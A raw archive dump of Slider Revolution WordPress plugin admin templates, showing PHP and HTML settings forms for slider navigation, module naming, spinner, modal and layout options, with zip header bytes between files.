			<!--<div class="form_intoaccordion"><i class="material-icons">arrow_drop_down</i></div>-->
			<div class="form_inner">
				<div class="form_inner_header"><i class="material-icons">pan_tool</i><?php _e('Touch', 'revslider');?></div>
				<!--<div class="form_intoaccordion" data-trigger="#sr_na_thumb_11"><i class="material-icons">arrow_drop_down</i></div>				-->
				<div class="collapsable" style="display:block;padding-bottom:0px">
					<div class="carouselunavailable standardavailable sceneavailable">
						<longoption><i class="material-icons"></i><label_a><?php _e('Mobile Swipe Enabled', 'revslider');?></label_a><input type="checkbox"  id="sr_usetouch" class="sliderinput easyinit" data-r="nav.swipe.set"/></longoption>
						<longoption><i class="material-icons"></i><label_a><?php _e('Desktop Swipe Enabled', 'revslider');?></label_a><input type="checkbox"  id="sr_usetouchdesktop" class="sliderinput easyinit" data-r="nav.swipe.setOnDesktop"/></longoption>
					</div>
					<div class="carouselavailable standardunavailable sceneunavailable">
						<longoption><i class="material-icons"></i><label_a><?php _e('Mobile Carousel Swipe', 'revslider');?></label_a><input type="checkbox"  id="sr_usetouch" class="sliderinput easyinit" data-r="nav.swipe.setMobileCarousel"/></longoption>
						<longoption><i class="material-icons"></i><label_a><?php _e('Desktop Carousel Swipe', 'revslider');?></label_a><input type="checkbox"  id="sr_usetouch" class="sliderinput easyinit" data-r="nav.swipe.setDesktopCarousel"/></longoption>
					</div>
					<longoption><i class="material-icons"></i><label_a><?php _e('Block Scroll', 'revslider');?></label_a><input type="checkbox"  id="sr_blockDragVertical" class="sliderinput easyinit" data-r="nav.swipe.blockDragVertical"/></longoption>
					<div class="div15"></div>					
					<label_a><?php _e('Velocity', 'revslider');?></label_a><input class="sliderinput valueduekeyboard smallinput easyinit"  data-r="nav.swipe.velocity" data-min="0" data-max="75" type="text" id="nav_swipe_velocity" ><span class="linebreak"></span>
					<label_a><?php _e('Min. Finger', 'revslider');?></label_a><input class="sliderinput valueduekeyboard smallinput easyinit"  data-r="nav.swipe.minTouch" data-min="0" data-max="10" type="text" id="nav_swipe_minTouch" ><span class="linebreak"></span>
					<div class="div15"></div>
					<label_a><?php _e('Swipe Dir', 'revslider');?></label_a>
					<div class="radiooption">
						<input type="radio" name="sr_swipedirection" class="sliderinput easyinit" data-r="nav.swipe.direction" value="horizontal"><label_sub><?php _e('Horizontal', 'revslider');?></label_sub><span class="linebreak"></span>
						<input type="radio" name="sr_swipedirection" class="sliderinput easyinit" data-r="nav.swipe.direction" value="vertical"><label_sub><?php _e('Vertical', 'revslider');?></label_sub><span class="linebreak"></span>
					</div>
					<div class="div20"></div>
				</div>
			</div>
		</div><!-- TOUCH SETTINGS END -->

		<!-- KEYBOARD  SETTINGS -->
		<div id="form_nav_misc" data-select="#gst_nav_8" data-unselect=".nav_submodule_trigger" class="formcontainer form_menu_inside collapsed carouselenable standardenable herodisable">
			<div class="collectortabwrap"><div id="collectortab_form_misc" class="collectortab form_menu_inside" data-forms='["#form_nav_misc"]'><i class="material-icons">keyboard</i><?php _e('Keyboard Settings', 'revslider');?></div></div>
			<!--<div class="form_intoaccordion"><i class="material-icons">arrow_drop_down</i></div>-->
			<div class="form_inner">
				<div class="form_inner_header"><i class="material-icons">keyboard</i><?php _e('Keyboard Arrow Navigation', 'revslider');?></div>
				<!--<div class="form_intoaccordion" data-trigger="#sr_na_thumb_11"><i class="material-icons">arrow_drop_down</i></div>				-->
				<div class="collapsable" style="display:block">
					<label_a><?php _e('Enabled', 'revslider');?></label_a><input type="checkbox"  id="sr_usekeyboard" class="sliderinput easyinit" data-r="nav.keyboard.set"/><span class="linebreak"></span>
					<label_a><?php _e('Direction', 'revslider');?></label_a>
					<div class="radiooption">
						<input type="radio" name="sr_keyboarddirection" class="sliderinput easyinit" data-r="nav.keyboard.direction" value="horizontal"><label_sub><?php _e('Left/Right Arrow Keys', 'revslider');?></label_sub><span class="linebreak"></span>
						<input type="radio" name="sr_keyboarddirection" class="sliderinput easyinit" data-r="nav.keyboard.direction" value="vertical"><label_sub><?php _e('Up/Down Arrow Keys', 'revslider');?></label_sub><span class="linebreak"></span>
					</div>
				</div>
			</div>
		</div><!-- KEYBOARD SETTINGS END -->

		<!-- MOUSE  SETTINGS -->
		<div id="form_nav_mousescroll" data-select="#gst_nav_9" data-unselect=".nav_submodule_trigger" class="formcontainer form_menu_inside collapsed carouselenable standardenable herodisable">
			<div class="collectortabwrap"><div id="collectortab_form_misc" class="collectortab form_menu_inside" data-forms='["#form_nav_mousescroll"]'><i class="material-icons">mouse</i><?php _e('Mouse Wheel Navigation', 'revslider');?></div></div>
			<!--<div class="form_intoaccordion"><i class="material-icons">arrow_drop_down</i></div>-->
			<div class="form_inner">
				<div class="form_inner_header"><i class="material-icons">mouse</i><?php _e('Mouse Wheel Navigation', 'revslider');?></div>
				<!--<div class="form_intoaccordion" data-trigger="#sr_na_thumb_11"><i class="material-icons">arrow_drop_down</i></div>				-->
				<div class="collapsable" style="display:block">
					<label_a><?php _e('Wheel Listener', 'revslider');?></label_a><select class="sliderinput tos2 nosearchbox easyinit"  name="sr_mousenavigation" class="sliderinput easyinit" data-r="nav.mouse.set" data-show=".sr_mousenavigation_*val*" data-hide=".sr_mousenavigationsettings"><option value="on"><?php _e('On', 'revslider');?></option><option value="carousel"><?php _e('Infinity', 'revslider');?></option><option value="off"><?php _e('Off', 'revslider');?></option></select><span class="linebreak"></span>
					<div class="sr_mousenavigation_on sr_mousenavigation_carousel sr_mousenavigationsettings">																				
						<label_a><?php _e('Reverse Scroll', 'revslider');?></label_a><select class="sliderinput tos2 nosearchbox easyinit"  name="sr_reversemousenavigation" class="sliderinput easyinit" data-r="nav.mouse.reverse"><option value="reverse"><?php _e('Reverse', 'revslider');?></option><option value="default"><?php _e('Default', 'revslider');?></option></select><span class="linebreak"></span>
						<label_a><?php _e('Scroll Target', 'revslider');?></label_a><select class="sliderinput tos2 nosearchbox easyinit"  name="sr_targetmousenavigation" class="sliderinput easyinit" data-r="nav.mouse.target"><option value="window"><?php _e('Window', 'revslider');?></option><option value="html"><?php _e('HTML', 'revslider');?></option><option value="body"><?php _e('Body', 'revslider');?></option></select><span class="linebreak"></span>
						<div class="div10"></div>				
						<longoption><i class="material-icons">view_day</i><label_a><?php _e('Snap Threshold', 'revslider');?></label_a><input class="sliderinput valueduekeyboard easyinit"  data-r="nav.mouse.threshold" data-min="0" data-max="100" type="text" id="wheelsnapthreshold" ></longoption>
						<longoption><i class="material-icons">visibility</i><label_a><?php _e('In ViewPort (%)', 'revslider');?></label_a><input class="sliderinput valueduekeyboard easyinit"  data-r="nav.mouse.viewport" data-min="0" data-max="100" type="text" id="wheelifvisible" ></longoption>
						<longoption><i class="material-icons">schedule</i><label_a><?php _e('Call Delay', 'revslider');?></label_a><input class="sliderinput valueduekeyboard easyinit"  data-r="nav.mouse.calldelay" data-min="100" data-max="3000" data-allowed="ms" type="text" id="wheelcalldelay" ></longoption>
						
					</div>
				</div>		
				<!--<div class="sr_mousenavigation_on sr_mousenavigationsettings">			
					<div class="form_inner">					
						<div class="collectortabwrap " style="display:block"><div class="collectortab form_inner_header" style="display:block"><i class="material-icons">mouse</i><?php _e('Stop Page Scrolling', 'revslider');?></div></div>
						<div class="collapsable" style="display:block">																													
							<label_a><?php _e('Way Up at', 'revslider');?></label_a><select id="wheelwayup" class="sliderinput tos2 nosearchbox easyinit"  data-show=".msWayUpOffset" data-hide=".msWayUp_*val*" data-showprio="hide" data-r="nav.mouse.msWayUp"><option value="top"><?php _e('Top', 'revslider');?></option><option value="center"><?php _e('Center', 'revslider');?></option><option value="bottom"><?php _e('Bottom', 'revslider');?></option><option value="ignore"><?php _e('Ignore', 'revslider');?></option></select><span class="linebreak"></span>
							<div class="msWayUp_ignore msWayUpOffset"><label_a><?php _e('Offset', 'revslider');?></label_a><input class="sliderinput valueduekeyboard easyinit"  data-r="nav.mouse.msWayUpOffset" data-min="0" data-max="1500" type="text" id="msWayUpOffset" ></div>
							<label_a><?php _e('Way Down at', 'revslider');?></label_a><select id="wheelwaydown" class="sliderinput tos2 nosearchbox easyinit" data-show=".msWayDownOffset" data-hide=".msWayDown_*val*" data-showprio="hide" data-r="nav.mouse.msWayDown"><option value="top"><?php _e('Top', 'revslider');?></option><option value="center"><?php _e('Center', 'revslider');?></option><option value="bottom"><?php _e('Bottom', 'revslider');?></option><option value="ignore"><?php _e('Ignore', 'revslider');?></option></select><span class="linebreak"></span>
							<div class="msWayDown_ignore msWayDownOffset"><label_a><?php _e('Offset', 'revslider');?></label_a><input class="sliderinput valueduekeyboard easyinit"  data-r="nav.mouse.msWayDownOffset" data-min="0" data-max="1500" type="text" id="msWayDownOffset" ></div>
						</div>
					</div>
				</div>-->
			</div>				
									
		</div><!-- MOUSE SETTINGS END -->		
	</div>
</div><!-- END OF SLIDER SETTINGS-->PK�y3\�3E��views/footer.phpnu�[���<?php
/**
 * @author    ThemePunch <info@themepunch.com>
 * @link      https://www.themepunch.com/
 * @copyright 2019 ThemePunch
 */

if(!defined('ABSPATH')) exit();PK�y3\,܁���views/builder-slider-forms.phpnu�[���<?php
/**
 * @author    ThemePunch <info@themepunch.com>
 * @link      https://www.themepunch.com/
 * @copyright 2019 ThemePunch
 */

if(!defined('ABSPATH')) exit();

$rs_f = RevSliderGlobals::instance()->get('RevSliderFunctions');
//$rs_info	= new RevSliderSliderInfo($slider_id);

// GET POST TYPED AND CATEGORIES
$post_types_with_categories = $rs_f->get_post_types_with_categories_for_client();
$json_tax_with_cats = $rs_f->json_encode_client_side($post_types_with_categories);
$post_type = $rs_f->get_post_type_assoc();

// GET LATEST RECENT POSTS AND POPULAR POSTS
$uslider = new RevSliderSlider();
$pop_posts = $uslider->get_popular_posts(15);
$rec_posts = $uslider->get_latest_posts(15);
$recent = array();
$popular = array();
if (!empty($pop_posts)) {
	foreach ($pop_posts as $p_post) {
		$popular[] = $p_post['ID'];
	}
}
if (!empty($rec_posts)) {
	foreach ($rec_posts as $r_post) {
		$recent[] = $r_post['ID'];
	}
}
$wc_sortby = RevSliderWooCommerce::getArrSortBy();

$api = 'revapi'; // . $slider_id;

?>

<!-- THE LIST OF TAXONOMIES AND CATEGORIES -->
<script>
	RVS.LIB.POST_TYPES_CAT = JSON.parse(<?php echo $json_tax_with_cats; ?>);
</script>

<!-- UNDERLAYS FOR MODALS -->
<div id="__inmodal_formcontainerunderlay"></div>

<!-- SLIDER SETTINGS -->
<div id="slider_settings" data-root="settings.">

	<div class="form_collector slider_general_collector" data-type="sliderconfig" data-pcontainer="#slider_settings" data-offset="#rev_builder_wrapper">
		<div class="main_mode_breadcrumb_wrap"><div class="main_mode_submode"><?php _e('Module General Options', 'revslider');?></div></div>
		<div id="gst_sl_collector" class="gso_wrap">
			<div id="gst_sl_1" class="general_submodule_trigger opensettingstrigger selected" data-select="#gst_sl_1" data-unselect=".general_submodule_trigger" data-collapse="true" data-forms='["#form_module_title"]'><i class="material-icons">title</i><span class="gso_title"><?php _e('Title', 'revslider');?></span></div><!--
			--><div id="gst_sl_2" data-select="#gst_sl_2" data-unselect=".general_submodule_trigger" class="general_submodule_trigger opensettingstrigger" data-collapse="true" data-forms='["#form_sliderlayout"]'><i class="material-icons">devices</i><span class="gso_title"><?php _e('Layout', 'revslider');?></span></div><!--
			--><div id="gst_sl_3" data-select="#gst_sl_3" data-unselect=".general_submodule_trigger" class="general_submodule_trigger opensettingstrigger carouselavailable standardunavailable sceneunavailable" data-collapse="true" data-forms='["#form_module_carousel"]'><i class="material-icons">view_carousel</i><span class="gso_title"><?php _e('Carousel', 'revslider');?></span></div><!--
			--><div id="gst_sl_4" data-select="#gst_sl_4" data-unselect=".general_submodule_trigger" class="general_submodule_trigger opensettingstrigger" data-collapse="true" data-forms='["#form_slidercontent"]'><i class="material-icons">message</i><span class="gso_title"><?php _e('Content', 'revslider');?></span></div><!--
			--><div id="gst_sl_5" data-select="#gst_sl_5" data-unselect=".general_submodule_trigger" class="general_submodule_trigger opensettingstrigger" data-collapse="true" data-forms='["#form_module_default"]'><i class="material-icons">dns</i><span class="gso_title"><?php _e('Defaults', 'revslider');?></span></div><!--
			--><div id="gst_sl_6" data-select="#gst_sl_6" data-unselect=".general_submodule_trigger" class="general_submodule_trigger opensettingstrigger" data-collapse="true" data-forms='["#form_module_general_settings"]'><i class="material-icons">build</i><span class="gso_title"><?php _e('General', 'revslider');?></span></div><!--
			--><div id="gst_sl_8" data-select="#gst_sl_8" data-unselect=".general_submodule_trigger" class="general_submodule_trigger opensettingstrigger" data-collapse="true" data-forms='["#form_module_scroll"]'><i class="material-icons">system_update_alt</i><span class="gso_title"><?php _e('On Scroll', 'revslider');?></span></div><!--
			--><div id="gst_sl_12" data-select="#gst_sl_12" data-unselect=".general_submodule_trigger" class="general_submodule_trigger opensettingstrigger" data-collapse="true" data-forms='["#form_sliderspinner"]'><i class="material-icons">loop</i><span class="gso_title"><?php _e('Spinner', 'revslider');?></span></div><!--
			--><div id="gst_sl_9" class="callEvent general_submodule_trigger opensettingstrigger" data-evt="openAddonModal"><i class="material-icons">extension</i><span class="gso_title"><?php _e('Addons', 'revslider');?></span></div><!--
			--><div id="gst_sl_10" data-select="#gst_sl_10" data-unselect=".general_submodule_trigger" class="general_submodule_trigger opensettingstrigger" data-collapse="true" data-forms='["#form_module_advanced"]'><i class="material-icons">timeline</i><span class="gso_title"><?php _e('Advanced', 'revslider');?></span></div><!--
			--><div id="gst_sl_11" class="callEvent general_submodule_trigger openmodaltrigger" data-evt="openSliderApi"><i class="material-icons">code</i><span class="gso_title">CSS/jQuery</span></div><!--
			--><div id="gst_sl_13" data-select="#gst_sl_13" data-unselect=".general_submodule_trigger" class="general_submodule_trigger opensettingstrigger" data-collapse="true" data-forms='["#form_slider_as_modal"]'><i class="material-icons">picture_in_picture</i><span class="gso_title"><?php _e('As Modal', 'revslider');?></span></div><!--
			--><div id="gst_sl_14" class="callEvent general_submodule_trigger openmodaltrigger" data-evt="openColorSkinApi"><i class="material-icons">format_paint</i><span class="gso_title"><?php _e('Skin', 'revslider');?></span></div>
		</div>
	</div>

	<!-- MODULE TITLE -->
	<div class="form_collector slider_general_collector" data-type="sliderconfig" data-pcontainer="#slider_settings" data-offset="#rev_builder_wrapper">
		<div id="form_module_title"  data-select="#gst_sl_1"  class="formcontainer form_menu_inside">
			<!-- MODULE TITLE AND ALIAS AND SHORTCODE SETTINGS-->
			<div class="form_inner">
				<div class="form_inner_header"><i class="material-icons">title</i><?php _e('Module Naming', 'revslider');?></div>
				<div id="" class="collapsable" style="display:block !important">
					<label_a><?php _e('Title', 'revslider');?></label_a><input type="text" id="sr_title" class="sliderinput easyinit" data-r="title" placeholder="<?php _e('Enter a Module name', 'revslider')?>"/><span class="linebreak"></span>
					<label_a><?php _e('Alias', 'revslider');?></label_a><input type="text" id="sr_alias" data-evt="updateShortCode" class="sliderinput easyinit" data-r="alias" placeholder="<?php _e('enter-a-module-name', 'revslider')?>"/><span class="linebreak"></span>
					<label_a id="rs_shortcode_label"><?php _e('Shortcode', 'revslider');?></label_a><input readonly type="text" id="sr_shortcode" class="sliderinput easyinit" data-r="shortcode"/><span class="linebreak"></span>
					<label_a></label_a><div class="basic_action_button longbutton copyclipboard" data-clipboard-action="copy" data-clipboard-target="#sr_shortcode"><i class="material-icons">content_copy</i><?php _e('Copy Shortcode', 'revslider');?></div>
					<div class="div10"></div>
					<row class="direktrow">
						<labelhalf><i class="material-icons vmi">sms_failed</i></labelhalf>
						<contenthalf><div class="function_info"><?php _e('Place the shortcode on the page or post where you want to show this module.', 'revslider');?></div></contenthalf>
					</row>
					<div id="rs_premium"></div>
				</div><!-- END OF COLLAPSABLE-->
			</div><!--END OF MODULE TITLE AND ALIAS AND SHORTCODE SETTINGS -->
		</div>
	</div><!-- END OF MODULE TITLE-->

	<!-- SPINNER SETTINGS -->
	<!-- SLIDER LAYOUT SETTINGS -->
	<div class="form_collector slider_general_collector" data-type="sliderconfig" data-pcontainer="#slider_settings" data-offset="#rev_builder_wrapper">
		<div id="form_sliderspinner"  data-select="#gst_sl_12"  class="formcontainer form_menu_inside collapsed">
			<div class="form_inner">
				<div class="form_inner_header"><i class="material-icons">refresh</i><?php _e('Spinner Settings', 'revslider');?></div>
				<div class="collapsable" style="display:block !important">
					<label_a style="width: 75px"><?php _e('Spinner', 'revslider');?></label_a>
				    <select id="revealer_spinners" class="sliderinput tos2 nosearchbox easyinit callEvent" data-r="layout.spinner.type" data-showprio="hide" data-show="#module_spinner_wrap" data-hide=".module_spinner_*val*" data-theme="dark" data-evt="moduleSpinnerChange">
							<option value="off"><?php _e('None', 'revslider');?></option>
							<option value="0">0</option>
							<option value="1">1</option>
							<option value="2">2</option>
							<option value="3">3</option>
							<option value="4">4</option>
							<option value="5">5</option>
							<option value="6">6</option>
							<option value="7">7</option>
							<option value="8">8</option>
							<option value="9">9</option>
							<option value="10">10</option>
							<option value="11">11</option>
							<option value="12">12</option>
							<option value="13">13</option>
							<option value="14">14</option>
							<option value="15">15</option>
						</select>
				 	<div class="div5"></div>
				 	<div id="module_spinner_wrap" class="module_spinner_off">
							<label_a style="width: 75px"><?php _e('Spinner Color', 'revslider');?></label_a>
				     	<input id="module_spinner_color" name="module_spinner_color" type="text" data-editing="Spinner Color" data-mode="single" class="my-color-field sliderinput easyinit" data-visible="true" data-r="layout.spinner.color" value="#FFFFFF">
				 		<div class="div5"></div>
				 		<div id="module_spinner_preview" style="width: 100%; height: 100px; position: relative">
				 			<rs-loader >
					  			<div class="dot1"></div>
					  	    	<div class="dot2"></div>
					  	   		<div class="bounce1"></div>
								<div class="bounce2"></div>
								<div class="bounce3"></div>
						 	</rs-loader>
				 		</div>
				 	</div>
				</div>
			</div>
		</div>
	</div>

	<!-- SLIDER MODAL SETTINGS -->
	<div class="form_collector slider_general_collector" data-type="sliderconfig" data-pcontainer="#slider_settings" data-offset="#rev_builder_wrapper">
		<div id="form_slider_as_modal"  data-select="#gst_sl_99"  class="formcontainer form_menu_inside collapsed">
			<!-- SLIDER MODAL -->
			<div id="form_slidergeneral_general_as_modal" class="form_inner">
				<div class="form_inner_header"><i class="material-icons">picture_in_picture</i><?php _e('Slider as Modal', 'revslider');?></div>
				<div class="collapsable" style="display:block !important">
					<div class="modalaligns">
						<!-- LAYER ALIGN ICON BASED SETTINGS-->
						<select style="display:none !important" id="modal_pos_halign" data-unselect=".modal_hor_selector" data-select="#modal_hor_*val*" class="sliderinput easyinit" data-responsive="true" data-r="modal.horizontal" data-triggerinp="#modal_pos_x" data-triggerinpval="0"><option value="left"><?php _e('Left', 'revslider');?></option><option value="center"><?php _e('Center', 'revslider');?></option><option value="right"><?php _e('Right', 'revslider');?></option></select>
						<select style="display:none !important" id="modal_pos_valign" data-unselect=".modal_ver_selector" data-select="#modal_ver_*val*" class="sliderinput easyinit" data-responsive="true" data-r="modal.vertical" data-triggerinp="#modal_pos_y" data-triggerinpval="0"><option value="top"><?php _e('Top', 'revslider');?></option><option value="middle"><?php _e('Center', 'revslider');?></option><option value="bottom"><?php _e('Bottom', 'revslider');?></option></select>
						<row>
							<onelabel><label_a><?php _e('Position', 'revslider');?></label_a></onelabel>
							<oneshort><label_icon class="triggerselect ui_leftalign modal_hor_selector" data-select="#modal_pos_halign" data-val="left" id="modal_hor_left"></label_icon><label_icon class="triggerselect ui_centeralign modal_hor_selector" data-select="#modal_pos_halign" data-val="center" id="modal_hor_center"></label_icon><label_icon class="triggerselect ui_rightalign modal_hor_selector" data-select="#modal_pos_halign" data-val="right" id="modal_hor_right"></label_icon></oneshort>
							<oneshort class="lp10"><label_icon class="triggerselect ui_topalign modal_ver_selector" data-select="#modal_pos_valign" data-val="top" id="modal_ver_top"></label_icon><label_icon class="triggerselect ui_middlealign modal_ver_selector" data-select="#modal_pos_valign" data-val="middle" id="modal_ver_middle"></label_icon><label_icon class="triggerselect ui_bottomalign modal_ver_selector" data-select="#modal_pos_valign" data-val="bottom" id="modal_ver_bottom"></label_icon></oneshort>
						</row>
					</div>
					<row class="direktrow">
						<onelong><label_a><?php _e('Use Cover', 'revslider');?></label_a><input type="checkbox"  id="sr_usemodalcover" class="sliderinput easyinit"  data-r="modal.cover" data-showhide=".slider_modal_coversettings" data-showhidedep="true"/></onelong>
						<oneshort></oneshort>
					</row>

					<div class="slider_modal_coversettings">
						<div class="div5"></div>
						<label_a><?php _e('Cover Color', 'revslider');?></label_a><input type="text" data-editing="Modal Background Color" name="slidermodalcolor" id="slidermodalcolor" class="my-color-field sliderinput easyinit" data-visible="true" data-mode="single" data-r="modal.coverColor" value="rgba(0,0,0,0.5)">						
					</div>
					<div class="div10"></div>
					<label_a><?php _e('General Speed', 'revslider');?></label_a><input type="text" id="sr_modal_fadespeed" class="sliderinput easyinit" data-numeric="true" data-allowed="ms" data-min="300" data-max="3000" data-r="modal.coverSpeed"/><span class="linebreak"></span>
					<div class="div10"></div>
					<label_a><?php _e('Body Class', 'revslider');?></label_a><input type="text" id="sr_modalbodyclass" class="sliderinput easyinit" data-r="modal.bodyclass"/><span class="linebreak"></span>
					<row class="direktrow">
						<labelhalf><i class="material-icons vmi">sms_failed</i></labelhalf>
						<contenthalf><div class="function_info"><?php _e('Toggle Document Body Class on Open and Close of the Modal.', 'revslider');?></div></contenthalf>
					</row>

					<div class="div25"></div>
					<label_a><?php _e('Shortcode', 'revslider');?></label_a><input readonly type="text" id="sr_modalshortcode" class="sliderinput easyinit" data-r="modalshortcode"/><span class="linebreak"></span>
					<label_a></label_a><div class="basic_action_button longbutton copyclipboard" data-clipboard-action="copy" data-clipboard-target="#sr_modalshortcode"><i class="material-icons">content_copy</i><?php _e('Copy Shortcode', 'revslider');?></div>
					<div class="div10"></div>
					<row class="direktrow">
						<labelhalf><i class="material-icons vmi">sms_failed</i></labelhalf>
						<contenthalf><div class="function_info"><?php _e('Place the shortcode on the page or post where you want to show this modal.', 'revslider');?></div></contenthalf>
					</row>

				</div>
			</div>
		</div>
	</div>


	<!-- SLIDER LAYOUT SETTINGS -->
	<div class="form_collector slider_general_collector" data-type="sliderconfig" data-pcontainer="#slider_settings" data-offset="#rev_builder_wrapper">
		<div id="form_sliderlayout"  data-select="#gst_sl_2"  class="formcontainer form_menu_inside collapsed">
			<!--<div class="collectortabwrap"><div id="collectortab_form_sliderlayout" class="collectortab form_menu_inside" data-forms='["#form_sliderlayout"]'><i class="material-icons">filter_hdr</i><?php _e('Slider Layout', 'revslider');?></div></div>-->


			<!-- SLIDER LAYOUT -->
			<div id="form_slider_layout_layout" class="form_inner open">
				<div class="form_inner_header"><i class="material-icons">fullscreen</i><?php _e('Layout', 'revslider');?></div>
				<div class="collapsable">
					<!-- SLIDER TYPE -->
					<div id="rs-layout-type">
						<label_a><?php _e('Type', 'revslider');?></label_a>
						<div class="radiooption">
							<div class="st_slider"><input data-unavailable=".standardunavailable" data-available=".standardavailable" data-disable=".standarddisable" data-enable=".standardenable" data-select=".st_slider" data-unselect=".st_scene, .st_carousel" data-r="type" data-evt="updatesliderlayout"  data-evtparam="slidertype" type="radio" value="standard" id="slidertype_standard" name="slidertype" class="sliderinput easyinit" data-show="" data-hide=""><label_sub><?php _e('Slider', 'revslider');?></label_sub></div>
							<div class="st_scene"><input data-unavailable=".sceneunavailable" data-available=".sceneavailable" data-disable=".herodisable" data-enable=".heroenable" data-select=".st_scene" data-unselect=".st_slider, .st_carousel" data-r="type" data-evt="updatesliderlayout" data-evtparam="slidertype" type="radio" value="hero" id="slidertype_hero" name="slidertype" class="sliderinput easyinit" data-show="" data-hide=""><label_sub><?php _e('Scene', 'revslider');?></label_sub></div>
							<div class="st_carousel"><input data-unavailable=".carouselunavailable" data-available=".carouselavailable" data-disable=".carouseldisable" data-enable=".carouselenable" data-select=".st_carousel" data-unselect=".st_slider, .st_scene" data-r="type" data-evt="updatesliderlayout"  data-evtparam="slidertype" type="radio" value="carousel" id="slidertype_carousel" name="slidertype" class="sliderinput easyinit" data-show="" data-hide=""><label_sub><?php _e('Carousel', 'revslider');?></label_sub></div>
						</div>
					</div>
					<div class="div15"></div>
					<!-- SLIDER LAYOUT -->
					<div id="rs-layout-sizing">
						<label_a><?php _e('Sizing', 'revslider');?></label_a>
						<div class="radiooption">
							<div class="sl_auto"><input data-select=".sl_auto" data-unselect=".sl_fullwidth, .sl_fullscreen" data-r="layouttype" data-enable="" data-disable=".fixedscrollonoff" data-evt="updatesliderlayout_main" type="radio" value="auto" id="sliderlayouttype_auto" name="sliderlayouttype" class="sliderinput easyinit" data-show=".topbottommargins, .fixedscrollsettingsinfo, .sliderminheight,.slidermaxwidth, #sr_size_minheight, .modalaligns" data-hide=".sliderfsminheight, .fixedscrollsettings,.decreaseheights,.usefullheight,#layersupscaling"><label_sub><?php _e('Auto', 'revslider');?></label_sub></div>
							<div class="sl_fullwidth"><input data-select=".sl_fullwidth" data-unselect=".sl_auto, .sl_fullscreen" data-r="layouttype" data-enable=".fixedscrollonoff" data-evt="updatesliderlayout_main" type="radio" value="fullwidth" id="sliderlayouttype_fullwidth" name="sliderlayouttype" class="sliderinput easyinit" data-show=".topbottommargins, .fixedscrollsettings,#sr_size_minheight .modalaligns,#layersupscaling" data-hide=".fixedscrollsettingsinfo,.sliderfsminheight, .slidermaxwidth, .sliderminheight,.decreaseheights,.usefullheight"><label_sub><?php _e('Full-Width', 'revslider');?></label_sub></div>
							<div class="sl_fullscreen"><input data-select=".sl_fullscreen" data-unselect=".sl_auto, .sl_fullwidth" data-r="layouttype" data-enable=".fixedscrollonoff" data-evt="updatesliderlayout_main" type="radio" value="fullscreen" id="sliderlayouttype_fullscreen" name="sliderlayouttype" class="sliderinput easyinit" data-show="#sr_size_minheight_fs,.fixedscrollsettings, .decreaseheights, .sliderfsminheight,.usefullheight" data-hide=".topbottommargins, .fixedscrollsettingsinfo,.slidermaxwidth,  .sliderminheight, .modalaligns,#layersupscaling"><label_sub><?php _e('Full-Screen', 'revslider');?></label_sub></div>
						</div>
					</div>
					<div class="div10"></div>
				</div>
			</div>

			<!-- SLIDER BREAKPOINTS -->
			<div id="form_slider_layout_bpoints" class="form_inner open">
				<div class="form_inner_header"><i class="material-icons">devices</i><?php _e('Layer Area Size', 'revslider');?></div>
				<div id="slbpoints_overall" class="collapsable">

					<row style="margin-bottom:5px"><label_a><i class="material-icons bpdevices">desktop_mac</i><?php _e('Browser Width', 'revslider');?> <div class="global_size_miniinfo" id="global_size_desktop">1240</div></label_a></row>
					<row class="direktrow">
						<onelong><label_icon class="ui_width"></label_icon><input data-numeric="true" id="sr_size_width_d" data-r="size.width.d" data-screen="d" data-evt="device_area_dimension_update" type="text"  class="sliderinput valueduekeyboard easyinit"></onelong>
						<oneshort><label_icon class="ui_height"></label_icon><input data-numeric="true"  id="sr_size_height_d" data-r="size.height.d" data-screen="d" data-evt="device_area_dimension_update" type="text"  class="sliderinput valueduekeyboard easyinit"><div class="fake_on_button"><div class="fake_on_button_inner"><div class="fake_onff_on">On</div></div></div></oneshort>
					</row>
					<div class="div10"></div>

					<div id="rs-laptop-breakpoint">
						<row style="margin-bottom:5px"><label_a id="rs-laptop-label"><i class="material-icons bpdevices" style="transform: scale(0.9);">laptop</i><?php _e('Browser Width', 'revslider');?> <div class="global_size_miniinfo" id="global_size_notebook">1240</div></label_a></row>
						<row class="direktrow">
							<onelong><label_icon class="ui_width"></label_icon><input data-numeric="true" id="sr_size_width_n" data-r="size.width.n" data-screen="n" data-evt="device_area_dimension_update" type="text"  class="sliderinput valueduekeyboard easyinit"></onelong>
							<oneshort><label_icon class="ui_height"></label_icon><input data-numeric="true"  id="sr_size_height_n" data-r="size.height.n" data-screen="n" data-evt="device_area_dimension_update" type="text"  class="sliderinput valueduekeyboard easyinit"><input type="checkbox" id="sr_custom_n" class="sliderinput easyinit" data-evt="device_area_availibity" data-r="size.custom.n"></oneshort>
						</row>
					</div>

					<div class="div10"></div>
					<row style="margin-bottom:5px"><label_a><i class="material-icons bpdevices" style="transform: scale(0.8);">tablet_android</i><?php _e('Browser Width', 'revslider');?> <div class="global_size_miniinfo" id="global_size_tablet">1240</div></label_a></row>
					<row class="direktrow">
						<onelong><label_icon class="ui_width"></label_icon><input data-numeric="true" id="sr_size_width_t" data-r="size.width.t" data-screen="t" data-evt="device_area_dimension_update" type="text"  class="sliderinput valueduekeyboard easyinit"></onelong>
						<oneshort><label_icon class="ui_height"></label_icon><input data-numeric="true"  id="sr_size_height_t" data-r="size.height.t" data-screen="t" data-evt="device_area_dimension_update" type="text"  class="sliderinput valueduekeyboard easyinit"><input type="checkbox" id="sr_custom_t" class="sliderinput easyinit" data-evt="device_area_availibity" data-r="size.custom.t"></oneshort>
					</row>


					<div class="div10"></div>
					<row style="margin-bottom:5px"><label_a><i class="material-icons bpdevices" style="transform: scale(0.7);">phone_iphone</i><?php _e('Browser Width', 'revslider');?> <div class="global_size_miniinfo" id="global_size_mobile">1240</div></label_a></row>
					<row class="direktrow">
						<onelong><label_icon class="ui_width"></label_icon><input data-numeric="true" id="sr_size_width_m" data-r="size.width.m" data-screen="t" data-evt="device_area_dimension_update" type="text"  class="sliderinput valueduekeyboard easyinit"></onelong>
						<oneshort><label_icon class="ui_height"></label_icon><input data-numeric="true"  id="sr_size_height_m" data-r="size.height.m" data-screen="t" data-evt="device_area_dimension_update" type="text"  class="sliderinput valueduekeyboard easyinit"><input type="checkbox" id="sr_custom_m" class="sliderinput easyinit" data-evt="device_area_availibity" data-r="size.custom.m"></oneshort>
					</row>

				</div>
			</div>

			<!-- SLIDER LAYOUT DECREASE MODULE HEIGHT-->
			<div id="form_slider_layout_decmohei" class="form_inner open">
				<div class="decreaseheights">
					<div class="form_inner_header"><i class="material-icons">tab_unselected</i><?php _e('Decrease Module Height', 'revslider');?></div>
					<div class="collapsable">
